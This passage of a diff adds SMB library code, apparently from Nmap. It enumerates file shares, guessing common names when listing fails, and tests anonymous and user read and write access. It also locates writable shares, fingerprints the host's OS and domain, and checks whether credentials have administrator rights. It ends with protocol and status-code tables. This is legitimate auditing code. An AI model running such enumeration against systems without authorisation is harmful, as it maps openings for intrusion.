+ details['user_can_read'] = result
+
+ -- Check if the anonymous reader can read the share
+ stdnse.debug1("SMB: Checking if share %s can be read by the anonymous user", share)
+ status, result = share_anonymous_can_read(host, share)
+ if(status == true) then
+ details['anonymous_can_read'] = result
+ end
+
+ -- Check if the current user can write to the share
+ stdnse.debug1("SMB: Checking if share %s can be written by the current user", share)
+ status, result = share_user_can_write(host, share)
+ if(status == false) then
+ if(result == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ details['user_can_write'] = "NT_STATUS_OBJECT_NAME_NOT_FOUND"
+ else
+ return false, result
+ end
+ end
+ details['user_can_write'] = result
+
+ -- Check if the anonymous user can write to the share
+ stdnse.debug1("SMB: Checking if share %s can be written by the anonymous user", share)
+ status, result = share_anonymous_can_write(host, share)
+ if(status == false and result == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
+ details['anonymous_can_write'] = "NT_STATUS_OBJECT_NAME_NOT_FOUND"
+ elseif( status == true ) then
+ details['anonymous_can_write'] = result
+ end
+
+ -- Try and get full details about the share
+ status, result = msrpc.get_share_info(host, share)
+ if(status == false) then
+ -- We don't stop for this error (it's pretty common since administrative privileges are required here)
+ stdnse.debug1("SMB: Failed to get share info for %s: %s", share, result)
+ details['details'] = result
+ else
+ -- Process the result a bit
+ result = result['info']
+ if(result['max_users'] == 0xFFFFFFFF) then
+ result['max_users'] = "<unlimited>"
+ end
+ details['details'] = result
+ end
+
+ return true, details
+end
+
+---Retrieve a list of fileshares, along with any details that could be pulled. This is the core of smb-enum-shares.nse, but
+-- can also be used by any script that needs to find an open share.
+--
+-- In the best care, the shares are determined by calling <code>msrpc.enum_shares</code>, and information is gathered by calling
+-- <code>msrpc.get_share_info</code>. These require a certain level of access, though, so as a fallback, a pre-programmed list of
+-- shares is used, and these are verified by attempting a connection.
+--
+--@param host The host object.
+--@return (status, result, extra) If status is false, result is an error message. Otherwise, result is an array of shares with as much
+-- detail as we could get. If extra isn't nil, it is set to extra information that should be displayed (such as a warning).
+function share_get_list(host)
+ local msrpc = require "msrpc" -- avoid require cycle
+ local status, result
+ local enum_status
+ local extra = ""
+ local shares = {}
+ local share_details = {}
+
+ -- Try and do this the good way, make a MSRPC call to get the shares
+ stdnse.debug1("SMB: Attempting to log into the system to enumerate shares")
+ enum_status, shares = msrpc.enum_shares(host)
+
+ -- If that failed, try doing it with brute force. This almost certainly won't find everything, but it's the
+ -- best we can do.
+ if(enum_status == false) then
+ stdnse.debug1("SMB: Enumerating shares failed, guessing at common ones (%s)", shares)
+ extra = string.format("ERROR: Enumerating shares failed, guessing at common ones (%s)", shares)
+
+ -- Take some common share names I've seen (thanks to Brandon Enright for most of these, except the last few)
+ shares = {"ADMIN", "BACKUP", "DATA", "DESKTOP", "DOCS", "FILES", "GROUPS", "HD", "HOME", "INFO", "IPC", "MEDIA", "MY DOCUMENTS", "NETLOGON", "PICTURES", "PORN", "PR0N", "PRINT", "PROGRAMS", "PRON", "PUBLIC", "SHARE", "SHARED", "SOFTWARE", "STMP", "TEMP", "TEST", "TMP", "USERS", "WEB DOCUMENTS","WEBSERVER", "WWW", "XSERVE" }
+
+ -- Try every alphabetic share
+ for i = string.byte("A", 1), string.byte("Z", 1), 1 do
+ shares[#shares + 1] = string.char(i)
+ end
+
+ -- For each share, add one with the same name and a trailing '$'
+ local sharesLength = #shares
+ for shareItr = 1, sharesLength, 1 do
+ shares[ sharesLength + shareItr ] = shares[ shareItr ] .. '$'
+ end
+ else
+ stdnse.debug1("SMB: Found %d shares, will attempt to find more information", #shares)
+ end
+
+ -- Sort the shares
+ table.sort(shares)
+
+ -- Ensure that the server returns the proper error message
+ -- first try anonymously, then using a user account (in case anonymous connections are not supported)
+ for _, anon in ipairs({true, false}) do
+ status, result = share_host_returns_proper_error(host, anon)
+
+ if(status == true and result == false) then
+ return false, "Server doesn't return proper value for non-existent shares; can't enumerate shares"
+ end
+ end
+
+ if(status == false) then
+ return false, result
+ end
+
+ -- Get more information on each share
+ for i = 1, #shares, 1 do
+ local status, result
+ stdnse.debug1("SMB: Getting information for share: %s", shares[i])
+ status, result = share_get_details(host, shares[i])
+ if(status == false and result == 'NT_STATUS_BAD_NETWORK_NAME') then
+ stdnse.debug1("SMB: Share doesn't exist: %s", shares[i])
+ elseif(status == false) then
+ stdnse.debug1("SMB: Error while getting share details: %s", result)
+ return false, result
+ else
+ -- Save the share details
+ table.insert(share_details, result)
+ end
+ end
+
+ return true, share_details, extra
+end
+
+---Find a share that the current user can write to. Return it, along with its path. If no share could be found,
+-- an error is returned. If the path cannot be determined, the returned path is nil.
+--
+--@param host The host object.
+--@return (status, name, path, names) If status is false, result is an error message. Otherwise, name is the name of the share,
+-- path is its path, if it could be determined, and names is a list of all writable shares.
+function share_find_writable(host)
+ local i
+ local status, shares
+ local main_name, main_path
+ local names = {}
+ local writable = {}
+
+ status, shares = share_get_list(host)
+ if(status == false) then
+ return false, shares
+ end
+
+ for i = 1, #shares, 1 do
+ if(shares[i]['user_can_write'] == true) then
+ if(main_name == nil) then
+ main_name = shares[i]['name']
+
+ if(shares[i]['details'] ~= nil) then
+ main_path = shares[i]['details']['path']
+ end
+ end
+
+ table.insert(names, shares[i]['name'])
+ end
+ end
+
+ if(main_name == nil) then
+ return false, "Couldn't find a writable share!"
+ else
+ return true, main_name, main_path, names
+ end
+end
+
+--- Converts numbered Windows version strings (<code>"Windows 5.0"</code>, <code>"Windows 5.1"</code>) to names (<code>"Windows 2000"</code>, <code>"Windows XP"</code>).
+--@param os The numbered OS version.
+--@return The actual name of the OS (or the same as the <code>os</code> parameter if no match was found).
+function get_windows_version(os)
+
+ if(os == "Windows 5.0") then
+ return "Windows 2000"
+ elseif(os == "Windows 5.1")then
+ return "Windows XP"
+ end
+
+ return os
+
+end
+
+---Retrieve information about the host's operating system. This should always be possible to call, as long as there isn't already
+-- a SMB session established.
+--
+-- The returned table has the following keys (shown here with sample values).
+-- * <code>os</code>: <code>"Windows 7 Professional 7601 Service Pack 1"</code>
+-- * <code>lanmanager</code>: <code>"Windows 7 Professional 6.1"</code>
+-- * <code>domain</code>: <code>"WORKGROUP"</code>
+-- * <code>server</code>: <code>"COMPUTERNAME"</code>
+-- * <code>time</code>: <code>1347121470.0462</code>
+-- * <code>date</code>: <code>"2012-09-08 09:24:30"</code>
+-- * <code>timezone</code>: <code>-7</code>
+-- * <code>timezone_str</code>: <code>UTC-7</code>
+-- * <code>port</code>: <code>445</code>
+-- The table may also contain these additional keys:
+-- * <code>fqdn</code>: <code>"Sql2008.lab.test.local"</code>
+-- * <code>domain_dns</code>: <code>"lab.test.local"</code>
+-- * <code>forest_dns</code>: <code>"test.local"</code>
+-- * <code>workgroup</code>
+--
+--@param host The host object
+--@return (status, data) If status is true, data is a table of values; otherwise, data is an error message.
+function get_os(host)
+ local state
+ local status, smbstate
+
+ local response = {}
+
+ -- Start up SMB
+ status, smbstate = start_ex(host, true, true, nil, nil, true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- See if we actually got something
+ if(smbstate['os'] == nil and smbstate['lanmanager'] == nil) then
+ return false, "Server didn't return OS details"
+ end
+
+ response['os'] = smbstate['os']
+ response['lanmanager'] = smbstate['lanmanager']
+ response['domain'] = smbstate['domain']
+ response['server'] = smbstate['server']
+ response['date'] = smbstate['date']
+ response['time'] = smbstate['time']
+ response['timezone_str'] = smbstate['timezone_str']
+ response['timezone'] = smbstate['timezone']
+ response['port'] = smbstate['port']
+
+ -- Kill SMB
+ stop(smbstate)
+
+
+ -- Start another session with extended security. This will allow us to get
+ -- additional information about the target.
+ status, smbstate = start_ex(host, true, true, nil, nil, false)
+ if(status == true) then
+ -- See if we actually got something
+ if (smbstate['fqdn'] or smbstate['domain_dns'] or smbstate['forest_dns']) then
+ response['fqdn'] = smbstate['fqdn']
+ response['domain_dns'] = smbstate['domain_dns']
+ response['forest_dns'] = smbstate['forest_dns']
+ -- After a non-extended security negotiation, smbstate['domain'] will
+ -- contain the NetBIOS domain name, or the workgroup name. However,
+ -- after an extended-security session setup, smbstate['domain'] will
+ -- contain the NetBIOS domain name. For hosts in a workgroup, Windows
+ -- uses the NetBIOS hostname as the NetBIOS domain name. Comparing the
+ -- two will reveal whether the target is in a domain or a workgroup.
+ if ( smbstate['domain'] ~= nil and response['domain'] ~= smbstate['domain'] ) then
+ response['workgroup'] = response['domain']
+ response['domain'] = nil
+ end
+ end
+
+ -- Kill SMB again
+ stop(smbstate)
+ end
+
+ return true, response
+end
+
+---Basically a wrapper around <code>socket:get_info</code>, except that it also makes a SMB connection before calling the
+-- <code>get_info</code> function. Returns the mac address as well, for convenience.
+--
+--@param host The host object
+--@return status: true for successful, false otherwise.
+--@return If status is true, the local ip address; otherwise, an error message.
+--@return The local port (not really meaningful, since it'll change next time).
+--@return The remote ip address.
+--@return The report port.
+--@return The mac address, if possible; nil otherwise.
+function get_socket_info(host)
+ local status, lhost, lport, rhost, rport
+ local smbstate, socket
+
+ -- Start SMB (we need a socket to get the proper local ip
+ status, smbstate = start_ex(host)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ socket = smbstate['socket']
+ status, lhost, lport, rhost, rport = socket:get_info()
+ if(status == false) then
+ return false, lhost
+ end
+
+ -- Stop SMB
+ stop(smbstate)
+
+ -- Get the mac in hex format, if possible
+ local lmac = nil
+ if(host.mac_addr_src) then
+ lmac = stdnse.tohex(host.mac_addr_src, {separator = ":"})
+ end
+
+ return true, lhost, lport, rhost, rport, lmac
+end
+
+---Generate a string that's somewhat unique, but is based on factors that won't
+-- change on a host.
+--
+-- At the moment, this is a very simple hash based on the IP address. This hash
+-- is *very* likely to have collisions, and that's by design -- while it should
+-- be somewhat unique, I don't want it to be trivial to uniquely determine who
+-- it originated from.
+--
+-- TODO: At some point, I should re-do this function properly, with a method of
+-- hashing that's somewhat proven.
+--
+--@param host The host object
+--@param extension [optional] The extension to add on the end of the file.
+-- Default: none.
+--@param seed [optional] Some randomness on which to base the name. If you want
+-- to do multiple files, each with its own uniqueish name, this can
+-- be used.
+--@return (status, data) If status is true, data is a table of values;
+-- otherwise, data is an error message. Can be any kind of string.
+function get_uniqueish_name(host, extension, seed)
+
+ local status
+ local lhost, lport, rhost, rport
+ if(type(host) == "table") then
+ status, lhost = get_socket_info(host)
+ else
+ lhost = host
+ end
+
+ -- Create our ultra-weak hash by using a simple xor/shift algorithm
+ -- I tested this, and in 255 tests, there were roughly 10 collisions. That's about what I'm looking for.
+ local hash = 0
+ local i
+ local str = lhost .. (seed or "") .. (extension or "") .. (nmap.registry.args.randomseed or "")
+
+ for i = 1, #str, 1 do
+ local chr = str:byte(i)
+ hash = hash ~ chr
+ hash = (hash << 3) | (hash >> 29)
+ hash = hash ~ 3
+ hash = hash & 0xFFFFFFFF
+ end
+
+ local response
+ if(extension) then
+ response = string.format("%x.%s", hash, extension)
+ else
+ response = string.format("%x", hash)
+ end
+
+ return true, response
+end
+
+---Determines, as accurately as possible, whether or not an account is an administrator. If there is an error,
+-- 'false' is simply returned.
+function is_admin(host, username, domain, password, password_hash, hash_type)
+ local msrpc = require "msrpc" -- avoid require cycle
+ local overrides = get_overrides(username, domain, password, password_hash, hash_type)
+
+ stdnse.debug1("SMB: Checking if %s is an administrator", username)
+
+ local status, smbstate = start(host)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Failed to start SMB: %s [%s]", smbstate, username)
+ stop(smbstate)
+ return false
+ end
+
+ local status, err = negotiate_protocol(smbstate, overrides)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Failed to negotiate protocol: %s [%s]", err, username)
+ stop(smbstate)
+ return false
+ end
+
+ status, err = start_session(smbstate, overrides)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Failed to start session %s [%s]", err, username)
+ stop(smbstate)
+ return false
+ end
+
+ local _, fqpn_share = get_fqpn(host, "IPC$")
+ status, err = tree_connect(smbstate, fqpn_share, overrides)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Failed to connect tree: %s [%s]", err, username)
+ stop(smbstate)
+ return false
+ end
+
+ status, err = create_file(smbstate, msrpc.SRVSVC_PATH, overrides)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Failed to create file: %s [%s]", err, username)
+ stop(smbstate)
+ return false
+ end
+
+ status, err = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Failed to bind: %s [%s]", err, username)
+ stop(smbstate)
+ return false
+ end
+
+ -- Call netservergetstatistics for 'server'
+ status, err = msrpc.srvsvc_netservergetstatistics(smbstate, host.ip)
+ if(status == false) then
+ stdnse.debug1("SMB; is_admin: Couldn't get server stats (may be normal): %s [%s]", err, username)
+ stop(smbstate)
+ return false
+ end
+
+ stop(smbstate)
+
+ return true
+end
+
+---
+-- Returns the fully qualified path name (FQPN) for shares.
+-- This is required for modern versions of Windows.
+-- Returns \\<ip>\<sharename> when successful. Otherwise, returns the same share name.
+---
+function get_fqpn(host, sharename)
+ if host.ip and sharename then
+ return true, string.format("\\\\%s\\%s", host.ip, sharename)
+ end
+ stdnse.debug1("SMB: get_fqpn: Couldn't determine server IP address")
+ return false, sharename
+end
+
+command_codes =
+{
+ SMB_COM_CREATE_DIRECTORY = 0x00,
+ SMB_COM_DELETE_DIRECTORY = 0x01,
+ SMB_COM_OPEN = 0x02,
+ SMB_COM_CREATE = 0x03,
+ SMB_COM_CLOSE = 0x04,
+ SMB_COM_FLUSH = 0x05,
+ SMB_COM_DELETE = 0x06,
+ SMB_COM_RENAME = 0x07,
+ SMB_COM_QUERY_INFORMATION = 0x08,
+ SMB_COM_SET_INFORMATION = 0x09,
+ SMB_COM_READ = 0x0A,
+ SMB_COM_WRITE = 0x0B,
+ SMB_COM_LOCK_BYTE_RANGE = 0x0C,
+ SMB_COM_UNLOCK_BYTE_RANGE = 0x0D,
+ SMB_COM_CREATE_TEMPORARY = 0x0E,
+ SMB_COM_CREATE_NEW = 0x0F,
+ SMB_COM_CHECK_DIRECTORY = 0x10,
+ SMB_COM_PROCESS_EXIT = 0x11,
+ SMB_COM_SEEK = 0x12,
+ SMB_COM_LOCK_AND_READ = 0x13,
+ SMB_COM_WRITE_AND_UNLOCK = 0x14,
+ SMB_COM_READ_RAW = 0x1A,
+ SMB_COM_READ_MPX = 0x1B,
+ SMB_COM_READ_MPX_SECONDARY = 0x1C,
+ SMB_COM_WRITE_RAW = 0x1D,
+ SMB_COM_WRITE_MPX = 0x1E,
+ SMB_COM_WRITE_MPX_SECONDARY = 0x1F,
+ SMB_COM_WRITE_COMPLETE = 0x20,
+ SMB_COM_QUERY_SERVER = 0x21,
+ SMB_COM_SET_INFORMATION2 = 0x22,
+ SMB_COM_QUERY_INFORMATION2 = 0x23,
+ SMB_COM_LOCKING_ANDX = 0x24,
+ SMB_COM_TRANSACTION = 0x25,
+ SMB_COM_TRANSACTION_SECONDARY = 0x26,
+ SMB_COM_IOCTL = 0x27,
+ SMB_COM_IOCTL_SECONDARY = 0x28,
+ SMB_COM_COPY = 0x29,
+ SMB_COM_MOVE = 0x2A,
+ SMB_COM_ECHO = 0x2B,
+ SMB_COM_WRITE_AND_CLOSE = 0x2C,
+ SMB_COM_OPEN_ANDX = 0x2D,
+ SMB_COM_READ_ANDX = 0x2E,
+ SMB_COM_WRITE_ANDX = 0x2F,
+ SMB_COM_NEW_FILE_SIZE = 0x30,
+ SMB_COM_CLOSE_AND_TREE_DISC = 0x31,
+ SMB_COM_TRANSACTION2 = 0x32,
+ SMB_COM_TRANSACTION2_SECONDARY = 0x33,
+ SMB_COM_FIND_CLOSE2 = 0x34,
+ SMB_COM_FIND_NOTIFY_CLOSE = 0x35,
+ SMB_COM_TREE_CONNECT = 0x70,
+ SMB_COM_TREE_DISCONNECT = 0x71,
+ SMB_COM_NEGOTIATE = 0x72,
+ SMB_COM_SESSION_SETUP_ANDX = 0x73,
+ SMB_COM_LOGOFF_ANDX = 0x74,
+ SMB_COM_TREE_CONNECT_ANDX = 0x75,
+ SMB_COM_QUERY_INFORMATION_DISK = 0x80,
+ SMB_COM_SEARCH = 0x81,
+ SMB_COM_FIND = 0x82,
+ SMB_COM_FIND_UNIQUE = 0x83,
+ SMB_COM_FIND_CLOSE = 0x84,
+ SMB_COM_NT_TRANSACT = 0xA0,
+ SMB_COM_NT_TRANSACT_SECONDARY = 0xA1,
+ SMB_COM_NT_CREATE_ANDX = 0xA2,
+ SMB_COM_NT_CANCEL = 0xA4,
+ SMB_COM_NT_RENAME = 0xA5,
+ SMB_COM_OPEN_PRINT_FILE = 0xC0,
+ SMB_COM_WRITE_PRINT_FILE = 0xC1,
+ SMB_COM_CLOSE_PRINT_FILE = 0xC2,
+ SMB_COM_GET_PRINT_QUEUE = 0xC3,
+ SMB_COM_READ_BULK = 0xD8,
+ SMB_COM_WRITE_BULK = 0xD9,
+ SMB_COM_WRITE_BULK_DATA = 0xDA,
+ SMB_NO_FURTHER_COMMANDS = 0xFF
+}
+
+for i, v in pairs(command_codes) do
+ command_names[v] = i
+end
+
+
+-- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/2198f480-e047-4df0-ba64-f28eadef00b9
+file_attributes =
+{
+ SMB_FILE_ATTRIBUTE_NORMAL = 0x0000,
+ SMB_FILE_ATTRIBUTE_READONLY = 0x0001,
+ SMB_FILE_ATTRIBUTE_HIDDEN = 0x0002,
+ SMB_FILE_ATTRIBUTE_SYSTEM = 0x0004,
+ SMB_FILE_ATTRIBUTE_VOLUME = 0x0008,
+ SMB_FILE_ATTRIBUTE_DIRECTORY = 0x0010,
+ SMB_FILE_ATTRIBUTE_ARCHIVE = 0x0020,
+ SMB_SEARCH_ATTRIBUTE_READONLY = 0x0100,
+ SMB_SEARCH_ATTRIBUTE_HIDDEN = 0x0200,
+ SMB_SEARCH_ATTRIBUTE_SYSTEM = 0x0400,
+ SMB_SEARCH_ATTRIBUTE_DIRECTORY = 0x1000,
+ SMB_SEARCH_ATTRIBUTE_ARCHIVE = 0x2000
+}
+
+
+-- see http://msdn.microsoft.com/en-us/library/cc231196(v=prot.10).aspx
+status_codes =
+{
+ NT_STATUS_SUCCESS = 0x00000000,
+ NT_STATUS_WERR_BADFILE = 0x00000002,
+ NT_STATUS_WERR_ACCESS_DENIED = 0x00000005,
+ NT_STATUS_WERR_INVALID_PARAMETER = 0x00000057,
+ NT_STATUS_WERR_INVALID_NAME = 0x0000007b,
+ NT_STATUS_WERR_UNKNOWN_LEVEL = 0x0000007c,
+ NT_STATUS_WERR_MORE_DATA = 0x000000ea,
+ NT_STATUS_NO_MORE_ITEMS = 0x00000103,
+ NT_STATUS_MORE_ENTRIES = 0x00000105,
+ NT_STATUS_SOME_NOT_MAPPED = 0x00000107,
+ NT_STATUS_SERVICE_REQUEST_TIMEOUT = 0x0000041D,
+ NT_STATUS_SERVICE_NO_THREAD = 0x0000041E,
+ NT_STATUS_SERVICE_DATABASE_LOCKED = 0x0000041F,
+ NT_STATUS_SERVICE_ALREADY_RUNNING = 0x00000420,
+ NT_STATUS_INVALID_SERVICE_ACCOUNT = 0x00000421,
+ NT_STATUS_SERVICE_DISABLED = 0x00000422,
+ NT_STATUS_CIRCULAR_DEPENDENCY = 0x00000423,
+ NT_STATUS_SERVICE_DOES_NOT_EXIST = 0x00000424,
+ NT_STATUS_SERVICE_CANNOT_ACCEPT_CTRL = 0x00000425,
+ NT_STATUS_SERVICE_NOT_ACTIVE = 0x00000426,
+ NT_STATUS_FAILED_SERVICE_CONTROLLER_CONNECT = 0x00000427,
+ NT_STATUS_EXCEPTION_IN_SERVICE = 0x00000428,
+ NT_STATUS_DATABASE_DOES_NOT_EXIST = 0x00000429,
+ NT_STATUS_SERVICE_SPECIFIC_ERROR = 0x0000042a,
+ NT_STATUS_PROCESS_ABORTED = 0x0000042b,
+ NT_STATUS_SERVICE_DEPENDENCY_FAIL = 0x0000042c,
+ NT_STATUS_SERVICE_LOGON_FAILED = 0x0000042d,
+ NT_STATUS_SERVICE_START_HANG = 0x0000042e,
+ NT_STATUS_INVALID_SERVICE_LOCK = 0x0000042f,
+ NT_STATUS_SERVICE_MARKED_FOR_DELETE = 0x00000430,
+ NT_STATUS_SERVICE_EXISTS = 0x00000431,
+ NT_STATUS_ALREADY_RUNNING_LKG = 0x00000432,
+ NT_STATUS_SERVICE_DEPENDENCY_DELETED = 0x00000433,
+ NT_STATUS_BOOT_ALREADY_ACCEPTED = 0x00000434,
+ NT_STATUS_SERVICE_NEVER_STARTED = 0x00000435,
+ NT_STATUS_DUPLICATE_SERVICE_NAME = 0x00000436,
+ NT_STATUS_DIFFERENT_SERVICE_ACCOUNT = 0x00000437,
+ NT_STATUS_CANNOT_DETECT_DRIVER_FAILURE = 0x00000438,
+ DOS_STATUS_UNKNOWN_ERROR = 0x00010001,
+ DOS_STATUS_NONSPECIFIC_ERROR = 0x00010002,
+ DOS_STATUS_DIRECTORY_NOT_FOUND = 0x00030001,
+ DOS_STATUS_ACCESS_DENIED = 0x00050001,
+ DOS_STATUS_INVALID_FID = 0x00060001,
+ DOS_STATUS_INVALID_NETWORK_NAME = 0x00060002,
+ NT_STATUS_BUFFER_OVERFLOW = 0x80000005,
+ NT_STATUS_UNSUCCESSFUL = 0xc0000001,
+ NT_STATUS_NOT_IMPLEMENTED = 0xc0000002,
+ NT_STATUS_INVALID_INFO_CLASS = 0xc0000003,
+ NT_STATUS_INFO_LENGTH_MISMATCH = 0xc0000004,
+ NT_STATUS_ACCESS_VIOLATION = 0xc0000005,
+ NT_STATUS_IN_PAGE_ERROR = 0xc0000006,
+ NT_STATUS_PAGEFILE_QUOTA = 0xc0000007,
+ NT_STATUS_INVALID_HANDLE = 0xc0000008,
+ NT_STATUS_BAD_INITIAL_STACK = 0xc0000009,
+ NT_STATUS_BAD_INITIAL_PC = 0xc000000a,
+ NT_STATUS_INVALID_CID = 0xc000000b,
+ NT_STATUS_TIMER_NOT_CANCELED = 0xc000000c,
+ NT_STATUS_INVALID_PARAMETER = 0xc000000d,
+ NT_STATUS_NO_SUCH_DEVICE = 0xc000000e,
+ NT_STATUS_NO_SUCH_FILE = 0xc000000f,
+ NT_STATUS_INVALID_DEVICE_REQUEST = 0xc0000010,
+ NT_STATUS_END_OF_FILE = 0xc0000011,
+ NT_STATUS_WRONG_VOLUME = 0xc0000012,
+ NT_STATUS_NO_MEDIA_IN_DEVICE = 0xc0000013,
+ NT_STATUS_UNRECOGNIZED_MEDIA = 0xc0000014,
+ NT_STATUS_NONEXISTENT_SECTOR = 0xc0000015,
+ NT_STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016,
+ NT_STATUS_NO_MEMORY = 0xc0000017,
+ NT_STATUS_CONFLICTING_ADDRESSES = 0xc0000018,
+ NT_STATUS_NOT_MAPPED_VIEW = 0xc0000019,
+ NT_STATUS_UNABLE_TO_FREE_VM = 0xc000001a,
+ NT_STATUS_UNABLE_TO_DELETE_SECTION = 0xc000001b,
+ NT_STATUS_INVALID_SYSTEM_SERVICE = 0xc000001c,
+ NT_STATUS_ILLEGAL_INSTRUCTION = 0xc000001d,
+ NT_STATUS_INVALID_LOCK_SEQUENCE = 0xc000001e,
+ NT_STATUS_INVALID_VIEW_SIZE = 0xc000001f,
+ NT_STATUS_INVALID_FILE_FOR_SECTION = 0xc0000020,
+ NT_STATUS_ALREADY_COMMITTED = 0xc0000021,
+ NT_STATUS_ACCESS_DENIED = 0xc0000022,
+ NT_STATUS_BUFFER_TOO_SMALL = 0xc0000023,
+ NT_STATUS_OBJECT_TYPE_MISMATCH = 0xc0000024,
+ NT_STATUS_NONCONTINUABLE_EXCEPTION = 0xc0000025,
+ NT_STATUS_INVALID_DISPOSITION = 0xc0000026,
+ NT_STATUS_UNWIND = 0xc0000027,
+ NT_STATUS_BAD_STACK = 0xc0000028,
+ NT_STATUS_INVALID_UNWIND_TARGET = 0xc0000029,
+ NT_STATUS_NOT_LOCKED = 0xc000002a,
+ NT_STATUS_PARITY_ERROR = 0xc000002b,
+ NT_STATUS_UNABLE_TO_DECOMMIT_VM = 0xc000002c,
+ NT_STATUS_NOT_COMMITTED = 0xc000002d,
+ NT_STATUS_INVALID_PORT_ATTRIBUTES = 0xc000002e,
+ NT_STATUS_PORT_MESSAGE_TOO_LONG = 0xc000002f,
+ NT_STATUS_INVALID_PARAMETER_MIX = 0xc0000030,
+ NT_STATUS_INVALID_QUOTA_LOWER = 0xc0000031,
+ NT_STATUS_DISK_CORRUPT_ERROR = 0xc0000032,
+ NT_STATUS_OBJECT_NAME_INVALID = 0xc0000033,
+ NT_STATUS_OBJECT_NAME_NOT_FOUND = 0xc0000034,
+ NT_STATUS_OBJECT_NAME_COLLISION = 0xc0000035,
+ NT_STATUS_HANDLE_NOT_WAITABLE = 0xc0000036,
+ NT_STATUS_PORT_DISCONNECTED = 0xc0000037,
+ NT_STATUS_DEVICE_ALREADY_ATTACHED = 0xc0000038,
+ NT_STATUS_OBJECT_PATH_INVALID = 0xc0000039,
+ NT_STATUS_OBJECT_PATH_NOT_FOUND = 0xc000003a,
+ NT_STATUS_OBJECT_PATH_SYNTAX_BAD = 0xc000003b,
+ NT_STATUS_DATA_OVERRUN = 0xc000003c,
+ NT_STATUS_DATA_LATE_ERROR = 0xc000003d,
+ NT_STATUS_DATA_ERROR = 0xc000003e,
+ NT_STATUS_CRC_ERROR = 0xc000003f,
+ NT_STATUS_SECTION_TOO_BIG = 0xc0000040,
+ NT_STATUS_PORT_CONNECTION_REFUSED = 0xc0000041,
+ NT_STATUS_INVALID_PORT_HANDLE = 0xc0000042,
+ NT_STATUS_SHARING_VIOLATION = 0xc0000043,
+ NT_STATUS_QUOTA_EXCEEDED = 0xc0000044,
+ NT_STATUS_INVALID_PAGE_PROTECTION = 0xc0000045,
+ NT_STATUS_MUTANT_NOT_OWNED = 0xc0000046,
+ NT_STATUS_SEMAPHORE_LIMIT_EXCEEDED = 0xc0000047,
+ NT_STATUS_PORT_ALREADY_SET = 0xc0000048,
+ NT_STATUS_SECTION_NOT_IMAGE = 0xc0000049,
+ NT_STATUS_SUSPEND_COUNT_EXCEEDED = 0xc000004a,
+ NT_STATUS_THREAD_IS_TERMINATING = 0xc000004b,
+ NT_STATUS_BAD_WORKING_SET_LIMIT = 0xc000004c,
+ NT_STATUS_INCOMPATIBLE_FILE_MAP = 0xc000004d,
+ NT_STATUS_SECTION_PROTECTION = 0xc000004e,
+ NT_STATUS_EAS_NOT_SUPPORTED = 0xc000004f,
+ NT_STATUS_EA_TOO_LARGE = 0xc0000050,
+ NT_STATUS_NONEXISTENT_EA_ENTRY = 0xc0000051,
+ NT_STATUS_NO_EAS_ON_FILE = 0xc0000052,
+ NT_STATUS_EA_CORRUPT_ERROR = 0xc0000053,
+ NT_STATUS_FILE_LOCK_CONFLICT = 0xc0000054,
+ NT_STATUS_LOCK_NOT_GRANTED = 0xc0000055,
+ NT_STATUS_DELETE_PENDING = 0xc0000056,
+ NT_STATUS_CTL_FILE_NOT_SUPPORTED = 0xc0000057,
+ NT_STATUS_UNKNOWN_REVISION = 0xc0000058,
+ NT_STATUS_REVISION_MISMATCH = 0xc0000059,
+ NT_STATUS_INVALID_OWNER = 0xc000005a,
+ NT_STATUS_INVALID_PRIMARY_GROUP = 0xc000005b,
+ NT_STATUS_NO_IMPERSONATION_TOKEN = 0xc000005c,
+ NT_STATUS_CANT_DISABLE_MANDATORY = 0xc000005d,
+ NT_STATUS_NO_LOGON_SERVERS = 0xc000005e,
+ NT_STATUS_NO_SUCH_LOGON_SESSION = 0xc000005f,
+ NT_STATUS_NO_SUCH_PRIVILEGE = 0xc0000060,
+ NT_STATUS_PRIVILEGE_NOT_HELD = 0xc0000061,
+ NT_STATUS_INVALID_ACCOUNT_NAME = 0xc0000062,
+ NT_STATUS_USER_EXISTS = 0xc0000063,
+ NT_STATUS_NO_SUCH_USER = 0xc0000064,
+ NT_STATUS_GROUP_EXISTS = 0xc0000065,
+ NT_STATUS_NO_SUCH_GROUP = 0xc0000066,
+ NT_STATUS_MEMBER_IN_GROUP = 0xc0000067,
+ NT_STATUS_MEMBER_NOT_IN_GROUP = 0xc0000068,
+ NT_STATUS_LAST_ADMIN = 0xc0000069,
+ NT_STATUS_WRONG_PASSWORD = 0xc000006a,
+ NT_STATUS_ILL_FORMED_PASSWORD = 0xc000006b,
+ NT_STATUS_PASSWORD_RESTRICTION = 0xc000006c,
+ NT_STATUS_LOGON_FAILURE = 0xc000006d,
+ NT_STATUS_ACCOUNT_RESTRICTION = 0xc000006e,
+ NT_STATUS_INVALID_LOGON_HOURS = 0xc000006f,
+ NT_STATUS_INVALID_WORKSTATION = 0xc0000070,
+ NT_STATUS_PASSWORD_EXPIRED = 0xc0000071,
+ NT_STATUS_ACCOUNT_DISABLED = 0xc0000072,
+ NT_STATUS_NONE_MAPPED = 0xc0000073,
+ NT_STATUS_TOO_MANY_LUIDS_REQUESTED = 0xc0000074,
+ NT_STATUS_LUIDS_EXHAUSTED = 0xc0000075,
+ NT_STATUS_INVALID_SUB_AUTHORITY = 0xc0000076,
+ NT_STATUS_INVALID_ACL = 0xc0000077,
+ NT_STATUS_INVALID_SID = 0xc0000078,
+ NT_STATUS_INVALID_SECURITY_DESCR = 0xc0000079,
+ NT_STATUS_PROCEDURE_NOT_FOUND = 0xc000007a,
+ NT_STATUS_INVALID_IMAGE_FORMAT = 0xc000007b,
+ NT_STATUS_NO_TOKEN = 0xc000007c,
+ NT_STATUS_BAD_INHERITANCE_ACL = 0xc000007d,
+ NT_STATUS_RANGE_NOT_LOCKED = 0xc000007e,
+ NT_STATUS_DISK_FULL = 0xc000007f,
